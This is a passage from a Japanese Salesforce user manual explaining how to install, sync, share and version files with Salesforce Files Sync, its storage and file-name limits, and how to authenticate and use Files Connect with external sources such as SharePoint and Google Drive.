Salesforce Files Sync を使用すると、ファイルの管理、同期、共有がこれまで以上に簡単になります。
Salesforce Files Sync のシステム要件
Salesforce Files Sync を最適に実行するには、最小推奨システム要件を満たすシステムが必要です。
Salesforce Files Sync のインストール
コンピュータ、Salesforce、およびモバイルデバイスのSalesforce1間でファイルを同期するには、Salesforce Files

Sync クライアントをデスクトップにインストールします。
Salesforce Files Sync のシステム要件
Salesforce Files Sync を最適に実行するには、最小推奨システム要件を満たすシステムが必要です。
他の Salesforce 組織への Salesforce Files Sync の接続
他の Salesforce 組織に接続するように Salesforce Files を設定します。
ファイルとフォルダの同期
ファイルやフォルダを同期するには、コンピュータの Salesforce Files Sync フォルダにそれらを保存するか、
フィード投稿、コメント、ファイルリスト、またはファイルの詳細ページにファイルを表示して [同期]

をクリックします。
コンピュータ、オンライン、およびモバイルデバイスでの同期済みファイルへのアクセス
デスクトップのSalesforce Files Syncフォルダにある同期済みファイルに、Salesforceオンライン、およびモバイ
ルデバイスの Salesforce1 からアクセスできます。
同期済みファイルおよびフォルダの操作
同期済みファイルおよびフォルダは Salesforce の他のファイルと同様ですが、いくつかの追加機能がありま
す。
同期済みファイルの共有
同期済みファイルは、デスクトップの Salesforce Files Sync フォルダから直接共有できます。
同期済みファイルのバージョンの管理
すべてのSalesforceファイルと同様に、必要に応じて同期済みファイルの以前のバージョンを処理できます。
Salesforce Files Sync の制限
Salesforce Files Sync を使用する場合、ファイル同期の制限に注意してください。
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Salesforce Files Sync のストレージ制限
Salesforce Files Sync は、組織の共有ストレージと個々のストレージの 2 つのストレージ制限の影響を受けま
す。
同期を妨げるファイル名およびファイル拡張子
一部のファイルの特性により、デバイスと Web 間のファイルの同期が妨げられる場合があります。
同期されるフォルダ名の制限
一部のフォルダは、フォルダ名の制限のために Salesforce Files Sync で同期されません。

Salesforce Files Sync の使用開始
Salesforce Files Sync を使用すると、ファイルの管理、同期、共有がこれまで以上に簡単になります。
Salesforce Files Sync は、非常に容易に使用を開始できます。ユーザはデスクトップの Salesforce Files Sync フォルダ
にファイルを保存するだけです。後は Salesforce Files Sync が行います。
同期済みファイルにあらゆる場所からアクセスできる

Salesforce Files Syncにファイルを保存すると、そのファイルは自動的にあらゆる場所で必要なときに使用でき
るようになります。[ファイル] タブの [同期済み] フィルタを使用して参照できます。

デスクトップの Salesforce Files Sync フォルダから直接ファイルを共有する
ファイルを右クリックして Chatter のユーザやグループと共有したり、リンクを使用してファイルを任意の
ユーザと共有したりできます。

すべてのファイルを常に最新バージョンに維持する
ユーザまたはそのコラボレータの 1 人がデスクトップのSalesforce Files Syncフォルダに保存されているファイ
ルを編集すると、ファイルは即座に更新されて全員が参照できるようになります。Salesforce Files Syncはバー
ジョン管理をサポートしているため、必要な場合は、古いバージョンのファイルにアクセスできます。

Salesforce Files Sync のシステム要件
Salesforce Files Sync を最適に実行するには、最小推奨システム要件を満たすシステムが必要です。
Salesforce Files Sync を使用する場合の推奨システム要件は、次のとおりです。

MacWindowsシステム要件

Apple® Mac OS X 10.8 Mountain Lion 以降Microsoft® Windows® 7 以降サポート対象オペレーティングシ
ステム

Intel® Core™ Duo 1.83 GHz 以上のプロ
セッサ

ネットブックデバイスの場合 2.33

GHz 以上の x86 互換プロセッサ、ま
たは Intel® Atom™ 1.6 GHz 以上のプロ
セッサ

プロセッサ

512 MB の RAM (推奨: 1 GB)512 MB の RAM (推奨: 1 GB)メモリ

4 GB の空き容量 (同期操作を行う場
合の推奨容量)

4 GB の空き容量 (同期操作を行う場
合の推奨容量)

ハードドライブ
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Salesforce Files Sync のインストール
コンピュータ、Salesforce、およびモバイルデバイスの Salesforce1 間でファイルを同期するには、Salesforce Files

Sync クライアントをデスクトップにインストールします。
1. [個人設定] から、[クイック検索] ボックスに「Files Sync」と入力し、[Salesforce Files Sync] を選択しま

す。複数の結果が表示された場合は、[個人設定] の下にある結果を選択します。
2. [ダウンロード] をクリックします。
3. オペレーティングシステムのインストール手順に従います。
4. Salesforce ログイン情報でログインします。
Salesforce Files Sync がインストールされると、更新が使用可能になったときに自動的に通知されます。

メモ: Salesforce Files Sync クライアントはローカルドライブで実行する必要があります。ネットワークドラ
イブやマウントされたデバイスなどの外部の場所はサポートされません。

Salesforce Files Sync のシステム要件
Salesforce Files Sync を最適に実行するには、最小推奨システム要件を満たすシステムが必要です。
Salesforce Files Sync を使用する場合の推奨システム要件は、次のとおりです。

MacWindowsシステム要件

Apple® Mac OS X 10.8 Mountain Lion 以降Microsoft® Windows® 7 以降サポート対象オペレーティングシ
ステム

Intel® Core™ Duo 1.83 GHz 以上のプロ
セッサ

ネットブックデバイスの場合 2.33

GHz 以上の x86 互換プロセッサ、ま
たは Intel® Atom™ 1.6 GHz 以上のプロ
セッサ

プロセッサ

512 MB の RAM (推奨: 1 GB)512 MB の RAM (推奨: 1 GB)メモリ

4 GB の空き容量 (同期操作を行う場
合の推奨容量)

4 GB の空き容量 (同期操作を行う場
合の推奨容量)

ハードドライブ

他の Salesforce 組織への Salesforce Files Sync の接続
他の Salesforce 組織に接続するように Salesforce Files を設定します。
1 つの Salesforce 組織から Salesforce Files Sync を切断すると、同期済みファイルが「Salesforce Files_Old」と呼ばれる
フォルダにバックアップされます。Windows の場合、バックアップフォルダは C:\Users\ユーザ名\Salesforce

Files_Old にあります。ここで、ユーザ名 は Windows ユーザ名です。Mac の場合、バックアップフォルダは
/Users/ユーザ名/Salesforce Files_Old にあります。ここで、ユーザ名 は Mac ユーザ名です。同期済み
ファイルは、同期している Salesforce 組織で常にオンラインアクセスできます。

警告: Salesforce Files Syncを新しい Salesforce組織に接続する前に、Salesforce Files Syncフォルダに保存されてい
るすべてのファイルおよびフォルダを閉じます。Salesforce Files Syncを Salesforce組織から切断するときに開
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いているファイルおよびフォルダはバックアップされず、Salesforce Files Sync の接続先となる次の Salesforce

組織と自動的に同期されます。
別の Salesforce 組織とファイルを同期するには、Salesforce Files Sync の新しい接続を設定します。
1. システムトレイまたはメニューバーで、[ Salesforce Files Sync] を右クリックします。
2. [環境設定] をクリックします
3. 必要に応じて、[ログアウト] をクリックして、現在の Salesforce 組織から切断します。
4. [新しい接続] で、新しい接続の [名前] を入力します。
5. Salesforce 組織の https:// ログイン URL を入力します。
6. [ログイン] をクリックします
7. ログイン情報を入力し、[ログイン] をクリックします。
8. [許可] をクリックして、Salesforce Files Sync を有効にします。
新しい組織に接続したら、Salesforce Files Sync フォルダに追加したファイルがその組織と同期します。接続して
いる組織とすでにファイルを同期している場合、デスクトップの Salesforce Files Syncフォルダに同期済みファイ
ルが自動的にダウンロードされます。

ファイルとフォルダの同期

ユーザ権限

ファイルを同期する
• 「ファイルの同期」

ファイルやフォルダを同期するには、コンピュータのSalesforce Files Syncフォルダ
にそれらを保存するか、フィード投稿、コメント、ファイルリスト、またはファ
イルの詳細ページにファイルを表示して [同期] をクリックします。
ファイルを同期するには、デスクトップにSalesforce Files Syncをインストールする
必要があります。
デフォルトでは、同期済みファイルは非公開になっています。つまり、デスクトップの Salesforce Files Syncフォ
ルダにファイルを保存した後、自分以外のユーザはSalesforceでファイルにオンラインアクセスできません。他
のユーザとコラボレーションするには、同期済みファイルを共有します。
Salesforceのデスクトップの Salesforce Files Syncフォルダ (オンライン) や、モバイルデバイスの Salesforce1で、常に
最新バージョンの同期済みファイルを使用できます。Salesforceの他のファイルと同様に、以前のバージョンの
同期済みファイルにアクセスできます。
ファイルを同期する手順は、次のとおりです。
1. Salesforce Files Sync クライアントから、Salesforce Files Sync フォルダにファイルを保存するか、同期するファイ

ルを Salesforce Files Sync フォルダにドラッグアンドドロップします。
Windows の場合、Salesforce Files Syncフォルダは C:\Users\ユーザ名\Salesforce Files にあります。ここ
で、ユーザ名 は Windows ユーザ名です。Mac の場合、Salesforce Files Sync フォルダは /Users/ユーザ
名/Salesforce Files にあります。ここで、ユーザ名 は Mac ユーザ名です。
[ファイル] タブ、フィード投稿、またはファイルが投稿またはリストされた Salesforce フルサイトのあらゆ
る場所から [同期] をクリックします。

2. ファイルが同期されます。
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ファイルを同期すると、Salesforce でファイルに簡単にアクセスしたり、モバイルデバイスの Salesforce1 でアク
セスしたりできます。Salesforce Files Syncフォルダからファイルを削除しても、[ファイル] ホームの [自分が所有
者] フィルタで引き続きファイルにアクセスできます。

コンピュータ、オンライン、およびモバイルデバイスでの同期済みファイルへのアクセス
デスクトップの Salesforce Files Sync フォルダにある同期済みファイルに、Salesforce オンライン、およびモバイル
デバイスの Salesforce1 からアクセスできます。

デスクトップでの同期済みファイルの参照
デスクトップでは、同期済みファイルは Salesforce Files Sync フォルダ内に保持されています。Windows の場合、
Salesforce Files Sync フォルダは C:\Users\ユーザ名\Salesforce Files にあります。ここで、ユーザ名 は
Windows ユーザ名です。Mac の場合、Salesforce Files Syncフォルダは /Users/ユーザ名/Salesforce Filesにあ
ります。ここで、ユーザ名 は Mac ユーザ名です。
システムトレイまたはメニューバーから Salesforce Files Sync フォルダを開くには、[ Salesforce Files Sync] >

[Salesforce Files Sync フォルダを開く] を右クリックします。

警告: Salesforce Files Sync フォルダをデフォルトのディレクトリの場所から移動すると、ファイルが同期さ
れなくなります。ファイルを常に同期させるには、Salesforce Files Syncフォルダを移動しないでください。

Salesforce での同期済みファイルの参照
Salesforce では、同期済みファイルは [ファイル] ホームに表示されます。
[ファイル] ホームで、[同期済み] をクリックして同期済みのファイルとフォルダを表示します。ファイルは、
同期された日時の新しい順に表示されます。

モバイルデバイスでの同期済みファイルの参照
モバイルデバイスでは、Salesforce1 から同期済みファイルにアクセスできます。
[ファイル] ホームで [ ] をタップし、[同期済み] を選択すると同期済みファイルのリストが表示されます。

同期済みファイルおよびフォルダの操作
同期済みファイルおよびフォルダはSalesforceの他のファイルと同様ですが、いくつかの追加機能があります。
デフォルトでは、同期済みファイルは非公開になっています。つまり、デスクトップの Salesforce Files Sync に
ファイルを保存した後、自分以外のユーザはSalesforceでファイルにオンラインアクセスできなくなります。他
のユーザとコラボレーションするには、同期済みファイルを共有します。
Salesforceのデスクトップの Salesforce Files Syncフォルダ (オンライン) や、モバイルデバイスの Salesforce1で、常に
最新バージョンの同期済みファイルを使用できます。Salesforceの他のファイルと同様に、Chatterで以前のバー
ジョンの同期済みファイルにアクセスできます。

同期済みファイルの共有
同期済みファイルは、デスクトップの Salesforce Files Sync フォルダから直接共有できます。
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同期済みファイルは、組織のユーザやChatterグループ、または生成されたリンクを使用して組織外のユーザと
共有します。同期済みファイルはデフォルトで非公開ですが、ファイルを共有するときに、参照のみ権限また
はコラボレータ権限を割り当てることができます。
コラボレータ権限を持つユーザまたはグループとファイルを共有する場合、コラボレータがファイルの新バー
ジョンをダウンロード、編集、アップロードすると、自動的に同期された最新バージョンが提供されます。
ファイルの新バージョンを編集および同期すると、共有先のユーザやグループにも自動的に最新バージョンが
提供されます。
Salesforce Files Sync フォルダから直接ファイルを共有する手順は、次のとおりです。
1. デスクトップの Salesforce Files Sync フォルダで、共有するファイルを右クリックします。
2. [Salesforce Files Sync] の下のメニューオプションを選択します。組織のユーザ、Chatter グループ、またはリ

ンク経由で組織外のユーザと共有できます。
3. 要求されたら、組織内のユーザやグループの名前を入力し、[閲覧者] または [コラボレータ] 権限を割り

当て、ファイルを共有するためのメッセージ (省略可能) を入力します。リンク経由でファイルを共有する
場合は、リンクをコピーします。

4. [共有] をクリックします。
メール通知がファイル共有先の全ユーザに送信されます。

同期済みファイルのバージョンの管理
すべての Salesforce ファイルと同様に、必要に応じて同期済みファイルの以前のバージョンを処理できます。
最初の同期が完了したら、ファイルがバージョン 1 としてファイルリストに表示されます。コンピュータまた
はモバイルデバイスでそのファイルを変更すると、ファイルを保存するたびに新しいバージョンが自動的に作
成されます。以前のバージョンを表示するには、ファイルの詳細ページにアクセスします。
新しいバージョンが作成されると、同期済みファイルをフォローしているユーザのChatterフィードに通知が送
信されます。ファイルコラボレータは、同期済みファイルの新しいバージョンをアップロードできます。

警告: コラボレータが新しいバージョンをアップロードするときにユーザが同期済みファイルをデスク
トップで開いていると、ファイルを保存せずに閉じるまで新しいバージョンは受信されません。ユーザ
が開いていたファイルを保存すると、そのバージョンでコラボレータの変更が上書きされます。

Salesforce Files Sync の制限
Salesforce Files Sync を使用する場合、ファイル同期の制限に注意してください。

制限機能

ストレージは、購入した Salesforce ライセンス数に基づ
いています。追加ストレージを購入できます。詳細

組織の共有ストレージ

は、「Salesforce Files Syncのストレージ制限」を参照し
てください。

ユーザは最大 10,000 個のファイルを同期できます。同期済みファイルの最大数

500 フォルダ同期済みフォルダの最大数
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制限機能

ファイルサイズ • Web インターフェースによるアップロード時: 2 GB

• Salesforce Files Syncデスクトップクライアントによる
アップロード時: 2 GB (またはプロキシ使用時は 500
MB)

• モバイルデバイスによるアップロード時: 100 MB

2,048ファイルあたりのバージョンの最大数

1,000 ユーザ同じファイルを同時に同期できるユーザの最大数

Salesforce Files Sync デスクトップクライアントからの接
続アプリケーションごとに 1 ユーザにつき 1 時間あた
り 10,000 件
Connect API コールの最大数に達した場合、Salesforce Files

Syncは一時的にファイルの同期を停止します。同期は
約 1 時間後に自動的に再開します。

Connect API コールの最大数

次の場合、Salesforce Files Sync は既存のファイルの同期は継続しますが、新規ファイルは同期しません。
• Salesforce Files Sync フォルダ内のファイルサイズの合計が 10 GB を超えた。
• 組織が共有ファイルストレージの制限に達した。
• Salesforce Files Sync フォルダに含まれるファイル数が 10,000 を超えたか、フォルダ数が 500 を超えた。
• 新規ファイルのファイルサイズが個々のファイルサイズ制限より大きい。
次の場合、Salesforce Files Sync はファイルの同期を停止します。
• Salesforce Files Sync フォルダをデフォルトのディレクトリの場所から移動した。Windows の場合、デフォルト

のディレクトリの場所は C:\Users\ユーザ名\Salesforce Files です。ここで、ユーザ名 は Windows

ユーザ名です。Mac の場合、デフォルトのディレクトリの場所は /Users/ユーザ名/Salesforce Files

です。ここで、ユーザ名 は Mac ユーザ名です。Salesforce Files Syncフォルダがデフォルトのディレクトリの場
所に戻されると、Salesforce Files Sync は同期を再開します。

Salesforce Files Sync のストレージ制限
Salesforce Files Sync は、組織の共有ストレージと個々のストレージの 2 つのストレージ制限の影響を受けます。

組織の共有ストレージ
組織の共有ファイルストレージは、「組織あたりのファイルストレージの割り当て」 + 「ユーザあたりの割り
当て x 組織のユーザ数」です。
組織でそのすべての共有ストレージ割り当てを使用している場合、Salesforce Files Sync は既存のファイルと同期
し続けますが、自分または組織で既存のファイルを削除するか、Salesforceからさらにストレージを購入するま
で、新しいファイルとは同期しません。
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ユーザライセンスあたりのファイ
ルストレージ割り当て

組織あたりのファイルストレージ
割り当て

Salesforce のエディション

612 MB10 GBContact Manager

612 MB10 GBGroup

612 MB10 GBProfessional

2 GB10 GBEnterprise

2 GB10 GBPerformance

2 GB10 GBUnlimited

なし20 MBDeveloper

なし20 MBPersonal

メモ: カスタムユーザライセンスを使用している組織の場合、追加ストレージが提供されるかどうかにつ
いては、システム管理者までお問い合わせください。

個々のストレージ
Salesforce Files Sync は、デスクトップの Salesforce Files Sync フォルダ、Web の Salesforce、Salesforce1 を搭載したモバ
イルデバイス間で、最大 10 GB のファイルを同期します。10 GB を超えるファイルを Salesforce Files Sync フォルダ
に追加した場合、Salesforce Files Syncは既存のファイルと同期し続けますが、新しいファイルとは同期しません。
個々の 10 GB のストレージ制限に達した場合、新しいファイルと同期するには既存のファイルを削除する必要
があります。

同期を妨げるファイル名およびファイル拡張子
一部のファイルの特性により、デバイスと Web 間のファイルの同期が妨げられる場合があります。
• ゼロバイトのファイル
• 拡張子のないファイル
• 次の文字で始まる名前のファイル

– AUX.

– CLOCK$.

– COM1.

– COM2.

– COM3.

– COM4.

– COM5.

– COM6.

– COM7.

– COM8.
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– COM9.

– CON.

– LPT1.

– LPT2.

– LPT3.

– LPT4.

– LPT5.

– LPT6.

– LPT7.

– LPT8.

– LPT9.

– NUL.

– PRN.

– ~

– .

• 次の名前のファイル
– desktop.ini

– thumbs.db

– .DSStor

• 次の拡張子のファイル
– .tmp

– .conflicted

– .part

– .partial

– .download

– .crdownload

– .sb- で始まる拡張子
• オペレーティングシステムごとに異なるファイル名の制限があります。Salesforce Files Syncは、オペレーティ

ングシステムで許可されている名前のファイルと同期します。つまり、デスクトップでファイルに名前を
付けることができれば、Salesforce Files Sync を使用してそのファイルと同期できます。Mac® OS X® からファイ
ルを同期する場合、ファイルは Web と同期しますが、そのファイル名が Microsoft Windows® で許可されてい
なければ、ファイルは Windows デスクトップにダウンロードされません。
全コンピュータ間ですべてのファイルを同期するには、ファイル名に次の文字を使用しないようにします。
– \ (バックスラッシュ)

– : (コロン)

– * (アスタリスク)

– ? (疑問符)

– ' (アポストロフィー)
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– < (小なり記号)

– > (大なり記号)

– / (スラッシュ記号)

– | (パイプ)

– TM (商標記号)

– ∞ (無限大記号)

– § (セクション)

– • (中黒)

– ≠ (不等号)

– ` (抑音アクセント)

– “ (引用符)

– ... (省略記号)

– ≥ (より大か等しい記号)

– ≤ (より小か等しい記号)

– & (アンパサンド)

• 254 文字より長い名前のファイル

同期されるフォルダ名の制限
一部のフォルダは、フォルダ名の制限のために Salesforce Files Sync で同期されません。
オペレーティングシステムによって、フォルダ名の制限は異なります。Salesforce Files Sync では、オペレーティ
ングシステムで許可されている名前を持つフォルダが同期されます。つまり、デスクトップでフォルダに名前
を付けることができれば、Salesforce Files Sync を使用して同期できます。Mac® OS X® からフォルダを同期する場
合、そのフォルダは Web に同期されますが、そのフォルダ名が Microsoft Windows®では許可されていない場合、
フォルダは Windows デスクトップにダウンロードされません。
すべてのコンピュータ間ですべてのファイルが同期されるようにするには、次の条件のフォルダ名を使用しな
いでください。
• 次の文字を含む:

– / (スラッシュ)

– \ (バックスラッシュ)

– : (コロン)

– * (アスタリスク)

– ? (疑問符)

– “ (引用符)

– < (小なり記号)

– > (大なり記号)

– | (パイプ)

• 255 文字を超える
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• 同じディレクトリ内の別のフォルダと名前が同じ

Files Connect 外部ファイル
他の場所に保存されたファイルを直接 Salesforce から参照、検索、および共有します。

Files Connect 外部データソースの認証
システム管理者が SharePoint のようなデータソースでユーザ単位の認証を使用するように設定した場合は、
Salesforce でそのシステムのログイン情報を入力します。
Files Connect を使用した外部ファイルのアクセスおよび共有
システム管理者が Files Connectを有効化したら、Google ドライブや SharePoint のなどの外部ソースからファイ
ルにアクセスしたり、フィードや [ファイル] ホームでこれらのファイルを共有したりできます。
Files Connect を使用した外部ファイルの検索
Google ドライブ、Box、SharePoint のような外部データソースを Salesforce 内から直接検索します。
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Files Connect 外部データソースの認証

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

クラウドベースの外部
データソース用 Files
Connect を使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

有料オプションで社内の
外部データソース用 Files
Connect を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

SharePoint Online などのク
ラウドベースデータソー
スにアクセスする
• 「Files Connect (クラウ

ド)」

SharePoint 2010 などの社内
データソースにアクセス
する
• 「Files Connect (社内)」

システム管理者が SharePoint のようなデータソースでユーザ単位の認証を使用す
るように設定した場合は、Salesforce でそのシステムのログイン情報を入力しま
す。

外部データソースの認証の設定
Files Connect 外部データシステムに初めて接続するときに、数回クリックする
だけで認証を設定できます。
外部データソースの認証ログイン情報の管理
ユーザまたは Salesforce システム管理者は、Files Connect を使用して外部データ
ソースの認証を設定および管理できます。認証設定が有効な場合は、直接
Salesforce から外部システムのファイルにアクセスできます。
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外部データソースの認証の設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

クラウドベースの外部
データソース用 Files
Connect を使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

有料オプションで社内の
外部データソース用 Files
Connect を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

SharePoint Online などのク
ラウドベースデータソー
スにアクセスする
• 「Files Connect (クラウ

ド)」

SharePoint 2010 などの社内
データソースにアクセス
する
• 「Files Connect (社内)」

Files Connect 外部データシステムに初めて接続するときに、数回クリックするだ
けで認証を設定できます。
[私の設定] で外部データシステムの認証を設定していない場合、Salesforce で初め
て外部システムにアクセスしようとするときに認証が求められます。リンクま
たはボタンをクリックすると、認証のほとんどが自動的に完了します。
• Box、Google ドライブ、SharePoint Online、または OneDrive for Business に接続して

いる場合の手順は、次のとおりです。
1. 認証プロトコルとして [OAuth 2.0] を選択します。
2. 外部システムの情報にアクセスする Salesforce の権限を要求するメッセー

ジが表示されたら、[許可] をクリックします。
3. 認証プロセスが完了したら、Salesforce にリダイレクトされます。

• SharePoint 2010 または SharePoint 2013 に接続している場合の手順は、次のとお
りです。
1. [外部システムの認証設定] にリダイレクトされます。
2. 外部システムのユーザ名とパスワードのログイン情報を入力します。
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外部データソースの認証ログイン情報の管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

クラウドベースの外部
データソース用 Files
Connect を使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

有料オプションで社内の
外部データソース用 Files
Connect を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

SharePoint Online などのク
ラウドベースデータソー
スにアクセスする
• 「Files Connect (クラウ

ド)」

SharePoint 2010 などの社内
データソースにアクセス
する
• 「Files Connect (社内)」

ユーザまたは Salesforce システム管理者は、Files Connect を使用して外部データソー
スの認証を設定および管理できます。認証設定が有効な場合は、直接 Salesforce

から外部システムのファイルにアクセスできます。
システム管理者は、外部データソースおよび指定ログイン情報で外部システム
を定義します。操作を開始する前に、システム管理者は次の処理を行います。
• 外部データソースまたは指定ログイン情報がユーザ単位の認証を使用するよ

うに設定します。
• 外部データソースまたは指定ログイン情報へのアクセスを許可します。
• 入力する認証設定を通知します。
必要な設定またはオプションが表示されない場合は、システム管理者にお問い
合わせください。
1. [私の設定] から、[クイック検索] ボックスに「認証」と入力し、[外部システ

ムの認証設定] を選択します。
2. [新規] をクリックして新しい接続を設定します。[編集] をクリックして既存

の外部データソースを変更します。
3. [外部システム定義] メニューから、「外部データソース」を選択します。
4. [外部データソース]メニューから、システム管理者が作成したデータソース

を選択します。
5. 外部システムで必要な認証プロトコルを選択します。

SharePoint 2010 または 2013 の場合は、次のオプションを設定します。

説明項目

[パスワード認証] を選択します。認証プロトコル

SharePoint のユーザ名とパスワードを
入力します。

[ユーザ名] および [パスワード]

Box、Google ドライブ、SharePoint Online、または OneDrive for Business の場合は、
次のオプションを設定します。

説明項目

[OAuth 2.0] を選択します。認証プロトコル

システム管理者がこのデータソース
用に作成したプロバイダを選択しま
す。

認証プロバイダ

空白のままにします。範囲
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説明項目

すぐに外部データソースでログイン情報を検証する
場合に選択します。
[保存] をクリックすると、ログインするよう外部シ
ステムから求められます。ログインに成功すると、

保存時に認証フローを開始

この組織から外部システムのデータにアクセスする
ための OAuth トークンが外部システムから与えられ
ます。
新しいトークンが必要な場合 (トークンが期限切れ
など)、あるいは [範囲] や [認証プロバイダ] 項目を編
集した場合は、OAuth フローをやり直します。

6. [保存] をクリックします。
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Files Connect を使用した外部ファイルのアクセスおよび共有

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

クラウドベースの外部
データソース用 Files
Connect を使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

有料オプションで社内の
外部データソース用 Files
Connect を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

SharePoint Online などのク
ラウドベースデータソー
スにアクセスする
• 「Files Connect (クラウ

ド)」

SharePoint 2010 などの社内
データソースにアクセス
する
• 「Files Connect (社内)」

システム管理者が Files Connectを有効化したら、Google ドライブや SharePoint のな
どの外部ソースからファイルにアクセスしたり、フィードや [ファイル] ホーム
でこれらのファイルを共有したりできます。

[ファイル] ホームでのファイルのダウンロードまたは共有
[ファイル] ホームから、外部ファイルをローカルシステムにダウンロードした
り、組織の一般ユーザと外部ファイルを共有したりできます。
1. [ファイル] ホームに移動します。
2. 左列の [外部ファイル] リストには、使用可能な外部データソースが表示され

ます。1 つを選択して フォルダから移動するか、 検索バーを使用してファイ
ルを検索します。

メモ:  Salesforce では、Google ドキュメント、スプレッドシート、プレゼ
ンテーション、図形描画をサポートしています。[最近] リストでは、
Google ドライブのコンテンツが、過去 30 日以内で最近アクセスした 24

件のドキュメントに限定されます。

3. ファイル名の横にある をクリックし、次のいずれかを選択します。
• 開く - SharePoint などの外部データソースのファイルを開きます。
• ダウンロード - ファイルをローカルシステムにダウンロードします

(SharePoint 2010 のような社内システムからの最大ダウンロードサイズは 2

GB です)。
• 共有 - ファイルをコピーまたは参照として共有します。組織で使用される

共有種別はシステム管理者が決定します。共有するときに、次のいずれ
かの操作を実行します。
– コピーを共有 - Salesforce に保存されている外部ファイルのコピーを共

有します。ファイルがChatterグループと共有されている場合、外部シ
ステムへのアクセス権がなくても、すべてのグループメンバーがファ
イルにアクセスできます。Salesforce Files には外部システムのファイル
に対する変更は反映されません。

– 参照を共有 - Salesforce 外に保存されている外部ファイルへの参照を共
有します。外部システムに対するアクセス権を持つユーザのみがファ
イルをダウンロードできます。ユーザは個人設定の [外部システムの認証設定] セクションでシステ
ムのログイン情報を入力する必要があります。Salesforce Filesには外部システムのファイルに対する変
更は反映されませんが、参照は外部システムのファイルの最新バージョンを指し示します。

メモ: 外部システムから参照されているファイルをダウンロードするユーザは、個人設定の [外部システ
ムの認証設定] セクションでシステムのログイン情報を入力する必要があります。
ユーザがファイルセレクタから外部ファイルを選択すると、ファイル参照またはコピーが Salesforce で作
成されます。ファイル参照がすでに存在している場合は、再利用されます。
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フィードでのファイルの共有
特定の Chatter の会話に外部ファイルを含めるには、フィードを使用します。フィードで共有されるすべての
ファイルは、コピーまたは参照のいずれかになります。これは、システム管理者が決定します。
Salesforce Classic での手順は、次のとおりです。
1. 投稿を作成しているときに、フィード上部にある [ファイル] をクリックし、[Salesforce からファイルを選

択] をクリックします。
2. 左列で、SharePoint などの外部ソースをクリックします。
3. 共有するファイルの横で、[添付] をクリックします。
4. 投稿の本文で、共有するグループまたはユーザに @メンションします。

Lightning Experience での手順は、次のとおりです。
1. 投稿の作成中に、投稿の下にあるクリップアイコンをクリックし、[ファイルを選択] ウィンドウを開きま

す。
2. 左列で、SharePoint や Google ドライブなどの外部ソースをクリックします。
3. 共有するファイルを選択して [追加] をクリックします。
4. 投稿の本文で、共有するグループまたはユーザに @メンションします。

3817

ファイルの作成、共有、および整理すべてのユーザとのコラボレーション



外部ドキュメントへのリンクを Chatter 投稿に貼り付けると、Files Connect ファイル参照に変換されます。投稿
の本文の下にファイルタイトルとアイコンが表示されます。アイコンをクリックすると、フィードから直接
ファイルプレビューが開きます。各投稿の最初のリンクにファイル参照が作成されます。ファイル参照は、コ
メントのリンクには作成されません。

関連トピック:

Salesforce Classic のユーザとのファイルの共有
グループとのファイルの共有
Salesforce Classic のライブラリとのファイルの共有

3818

ファイルの作成、共有、および整理すべてのユーザとのコラボレーション



Files Connect を使用した外部ファイルの検索

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

クラウドベースの外部
データソース用 Files
Connect を使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

有料オプションで社内の
外部データソース用 Files
Connect を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

SharePoint Online などのク
ラウドベースデータソー
スにアクセスする
• 「Files Connect (クラウ

ド)」

SharePoint 2010 などの社内
データソースにアクセス
する
• 「Files Connect (社内)」

Google ドライブ、Box、SharePoint のような外部データソースを Salesforce 内から直
接検索します。

特定の外部データソースでの検索
Salesforce Classic での手順は、次のとおりです。
1. [ファイル] ホームまたは Chatter フィードの左列でデータソース名をクリック

します。
2. 検索ボックスに、「ドキュメントのタイトル」や「著者」などの用語を入力

します。検索できる特定の情報は、外部データソースの設定によって異なり
ます。

メモ:  Chatter の投稿にファイルを添付するときに、ファイルセレクタから外
部データソースを検索することもできます。Salesforce Classic では、フィード
の上にある [ファイル]をクリックし、Salesforce からファイルを選択します。
Lightning Experience では、投稿の下にあるクリップアイコンをクリックし、
[ファイルを選択] ウィンドウを開きます。

Salesforce と外部データのグローバル検索
システム管理者が外部データソースのグローバル検索を有効にしている場合は、
そのコンテンツを Salesforce データと一緒に簡単に検索できます。
Salesforce Classic での手順は、次のとおりです。
1. Salesforce ウィンドウの上部にあるグローバル検索ボックスに、検索語を入力

します。
2. 結果を特定の外部データソースに絞り込むには、左列の名前 (SharePoint Online

など) をクリックします。
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ヒント: 特定の外部データソースのコンテンツを表示する場合は、左列のデータソース名にマウスポイン
タを置いて固定アイコンをクリックし、グローバル検索結果の上部に固定します (データソースがリスト
に表示されていない場合は、[すべて検索] をクリックします)。

Lightning Experience での手順は、次のとおりです。
1. [ファイル] ホームでヘッダーのグローバル検索ボックスに検索語を入力します。
2. グローバル検索ボックスに検索語を入力した後で [ファイル内] を選択するか、グローバル検索の実行後に

グローバル検索結果の [ファイル] を選択すると、検索結果を絞り込んでファイルのみを返すことができま
す。

ドキュメントライブラリ
ファイルをレコードに添付せずに保存します。

ドキュメントライブラリの概要
ドキュメントライブラリに保存されている各ドキュメントはフォルダにあります。フォルダの属性によっ
て、フォルダおよびフォルダ内のドキュメントに対するアクセス許可を決定します。
ドキュメントホームページ
ドキュメントの一覧表示
ドキュメントのアップロードと置き換え
ドキュメントの検索
ドキュメントの削除
Salesforce Files へのドキュメントの移行
